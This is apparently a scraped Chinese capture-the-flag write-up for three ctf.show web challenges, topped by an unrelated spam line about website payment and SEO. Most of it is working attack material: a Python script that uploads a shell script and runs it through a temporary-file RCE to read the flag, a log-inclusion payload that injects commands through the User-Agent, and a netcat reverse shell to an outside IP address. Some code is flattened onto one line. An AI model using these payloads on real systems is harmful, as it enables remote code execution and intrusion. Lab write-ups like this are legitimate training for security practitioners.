網(wǎng)站做支付要多少錢seo公司怎么樣
目錄
web簽到?
easy_calc
easy_cmd
web簽到?
CTF中字符長度限制下的命令執(zhí)行 rce(7字符5字符4字符)匯總_ctf中字符長度限制下的命令執(zhí)行 5個字符-CSDN博客7長度限制直接梭了
也可以打臨時文件RCE
import requestsurl = "http://4ae13f1e-8e42-4afa-a6a6-1076acd08211.challenge.ctf.show/"def getFlag():file={"file":"#!/bin/sh\ncat /f*>/var/www/html/1.txt"}data={"cmd":". /t*/*"}response = requests.post(url=url+"api/tools.php",files=file,data=data)if "t*" in response.text:print("執(zhí)行成功,檢查回顯...")response = requests.get(url=url+"1.txt")if response.status_code == 200:print("flag 獲取成功 "+response.text)else:print("flag 獲取失敗")if __name__ == '__main__':getFlag()
easy_calc
一眼命令拼接,先fuzz一下可以用的字符
<?php
for ($i=32;$i<127;$i++){if (!preg_match("/!|@|#|\\$|\%|\^|\&|\(|_|=|{|'|<|>|\?|\?|\||`|~|\[/",chr($i))){echo chr($i)." ";}
}
// " ) * + , - . / 0 1 2 3 4 5 6 7 8 9 : ; A B C D E F G H I J K L M N O P Q R S T U V W X Y Z \ ] a b c d e f g h i j k l m n o p q r s t u v w x y z }
過濾了括號,不難想到用include
直接nginx日志包含
payload:
num1=1&symbol=-&num2=1;include "/var/log/nginx/access.log"
UA寫入命令執(zhí)行
?
?
easy_cmd
直接nc反彈shell
payload:
cmd=nc 124.222.136.33 1337 -e /bin/sh
?